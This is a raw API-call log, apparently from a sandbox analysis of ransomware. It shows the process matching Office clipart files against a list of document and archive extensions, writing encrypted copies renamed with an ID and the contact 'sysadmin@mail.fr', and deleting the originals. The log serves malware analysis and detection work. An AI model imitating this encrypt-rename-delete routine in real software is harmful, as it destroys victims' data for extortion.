	[0052.632] lstrlenW (lpString=".1cd") returned 4
	[0052.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0052.632] lstrlenW (lpString=".jpg") returned 4
	[0052.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.632] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.632] lstrlenW (lpString="AN01184_.WMF") returned 12
	[0052.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0052.651] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=3746) returned 1
	[0052.651] CloseHandle (hObject=0x348) returned 1
	[0052.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220
	[0052.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0052.651] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.651] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0052.665] GetLastError () returned 0x0
	[0052.665] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xea2, lpOverlapped=0x0) returned 1
	[0052.701] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0052.701] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.701] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.702] SetEndOfFile (hFile=0x2ec) returned 1
	[0052.702] CloseHandle (hObject=0x2ec) returned 1
	[0052.702] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.702] SetEndOfFile (hFile=0x348) returned 1
	[0052.703] CloseHandle (hObject=0x348) returned 1
	[0052.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1
	[0052.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0052.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0052.704] lstrlenW (lpString=".doc") returned 4
	[0052.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.704] lstrlenW (lpString=".docx") returned 5
	[0052.704] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.704] lstrlenW (lpString=".pdf") returned 4
	[0052.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.704] lstrlenW (lpString=".xls") returned 4
	[0052.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.704] lstrlenW (lpString=".xlsx") returned 5
	[0052.704] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.704] lstrlenW (lpString=".ppt") returned 4
	[0052.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0052.704] lstrlenW (lpString=".zip") returned 4
	[0052.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.704] lstrlenW (lpString=".rar") returned 4
	[0052.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.704] lstrlenW (lpString=".bz2") returned 4
	[0052.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.704] lstrlenW (lpString=".7z") returned 3
	[0052.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0052.704] lstrlenW (lpString=".dbf") returned 4
	[0052.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0052.704] lstrlenW (lpString=".1cd") returned 4
	[0052.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0052.704] lstrlenW (lpString=".jpg") returned 4
	[0052.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0052.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0052.704] lstrlenW (lpString=".doc") returned 4
	[0052.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.704] lstrlenW (lpString=".docx") returned 5
	[0052.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.705] lstrlenW (lpString=".pdf") returned 4
	[0052.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.705] lstrlenW (lpString=".xls") returned 4
	[0052.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.705] lstrlenW (lpString=".xlsx") returned 5
	[0052.705] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.705] lstrlenW (lpString=".ppt") returned 4
	[0052.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0052.705] lstrlenW (lpString=".zip") returned 4
	[0052.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.705] lstrlenW (lpString=".rar") returned 4
	[0052.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.705] lstrlenW (lpString=".bz2") returned 4
	[0052.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.705] lstrlenW (lpString=".7z") returned 3
	[0052.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0052.705] lstrlenW (lpString=".dbf") returned 4
	[0052.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0052.705] lstrlenW (lpString=".1cd") returned 4
	[0052.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0052.705] lstrlenW (lpString=".jpg") returned 4
	[0052.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.705] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.705] lstrlenW (lpString="AN01216_.WMF") returned 12
	[0052.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0052.706] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=5836) returned 1
	[0052.706] CloseHandle (hObject=0x348) returned 1
	[0052.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220
	[0052.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0052.706] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.706] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0052.706] GetLastError () returned 0x0
	[0052.706] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x16cc, lpOverlapped=0x0) returned 1
	[0052.719] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x16d0, lpOverlapped=0x0) returned 1
	[0052.720] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.720] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.720] SetEndOfFile (hFile=0x2ec) returned 1
	[0052.720] CloseHandle (hObject=0x2ec) returned 1
	[0052.721] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.721] SetEndOfFile (hFile=0x348) returned 1
	[0052.722] CloseHandle (hObject=0x348) returned 1
	[0052.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1
	[0052.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0052.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0052.722] lstrlenW (lpString=".doc") returned 4
	[0052.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.722] lstrlenW (lpString=".docx") returned 5
	[0052.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.722] lstrlenW (lpString=".pdf") returned 4
	[0052.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.722] lstrlenW (lpString=".xls") returned 4
	[0052.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.722] lstrlenW (lpString=".xlsx") returned 5
	[0052.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.722] lstrlenW (lpString=".ppt") returned 4
	[0052.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0052.723] lstrlenW (lpString=".zip") returned 4
	[0052.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.723] lstrlenW (lpString=".rar") returned 4
	[0052.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.723] lstrlenW (lpString=".bz2") returned 4
	[0052.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.723] lstrlenW (lpString=".7z") returned 3
	[0052.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0052.723] lstrlenW (lpString=".dbf") returned 4
	[0052.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0052.723] lstrlenW (lpString=".1cd") returned 4
	[0052.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0052.723] lstrlenW (lpString=".jpg") returned 4
	[0052.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0052.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0052.723] lstrlenW (lpString=".doc") returned 4
	[0052.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.723] lstrlenW (lpString=".docx") returned 5
	[0052.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.723] lstrlenW (lpString=".pdf") returned 4
	[0052.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.723] lstrlenW (lpString=".xls") returned 4
	[0052.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.723] lstrlenW (lpString=".xlsx") returned 5
	[0052.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.723] lstrlenW (lpString=".ppt") returned 4
	[0052.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0052.723] lstrlenW (lpString=".zip") returned 4
	[0052.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.723] lstrlenW (lpString=".rar") returned 4
	[0052.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.724] lstrlenW (lpString=".bz2") returned 4
	[0052.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.724] lstrlenW (lpString=".7z") returned 3
	[0052.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0052.724] lstrlenW (lpString=".dbf") returned 4
	[0052.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0052.724] lstrlenW (lpString=".1cd") returned 4
	[0052.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0052.724] lstrlenW (lpString=".jpg") returned 4
	[0052.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.724] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.724] lstrlenW (lpString="AN01218_.WMF") returned 12
	[0052.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0052.724] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=3012) returned 1
	[0052.724] CloseHandle (hObject=0x348) returned 1
	[0052.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220
	[0052.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0052.725] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.725] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0052.725] GetLastError () returned 0x0
	[0052.725] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xbc4, lpOverlapped=0x0) returned 1
	[0052.827] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0052.828] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.828] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.828] SetEndOfFile (hFile=0x2ec) returned 1
	[0052.828] CloseHandle (hObject=0x2ec) returned 1
	[0052.829] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.829] SetEndOfFile (hFile=0x348) returned 1
	[0052.829] CloseHandle (hObject=0x348) returned 1
	[0052.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1
	[0052.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0052.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0052.830] lstrlenW (lpString=".doc") returned 4
	[0052.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.830] lstrlenW (lpString=".docx") returned 5
	[0052.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.830] lstrlenW (lpString=".pdf") returned 4
	[0052.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.830] lstrlenW (lpString=".xls") returned 4
	[0052.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.830] lstrlenW (lpString=".xlsx") returned 5
	[0052.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.830] lstrlenW (lpString=".ppt") returned 4
	[0052.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0052.831] lstrlenW (lpString=".zip") returned 4
	[0052.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.831] lstrlenW (lpString=".rar") returned 4
	[0052.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.831] lstrlenW (lpString=".bz2") returned 4
	[0052.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.831] lstrlenW (lpString=".7z") returned 3
	[0052.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0052.831] lstrlenW (lpString=".dbf") returned 4
	[0052.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0052.831] lstrlenW (lpString=".1cd") returned 4
	[0052.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0052.831] lstrlenW (lpString=".jpg") returned 4
	[0052.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0052.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0052.831] lstrlenW (lpString=".doc") returned 4
	[0052.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.831] lstrlenW (lpString=".docx") returned 5
	[0052.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.831] lstrlenW (lpString=".pdf") returned 4
	[0052.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.831] lstrlenW (lpString=".xls") returned 4
	[0052.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.831] lstrlenW (lpString=".xlsx") returned 5
	[0052.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.831] lstrlenW (lpString=".ppt") returned 4
	[0052.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0052.831] lstrlenW (lpString=".zip") returned 4
	[0052.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.831] lstrlenW (lpString=".rar") returned 4
	[0052.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.832] lstrlenW (lpString=".bz2") returned 4
	[0052.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.832] lstrlenW (lpString=".7z") returned 3
	[0052.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0052.832] lstrlenW (lpString=".dbf") returned 4
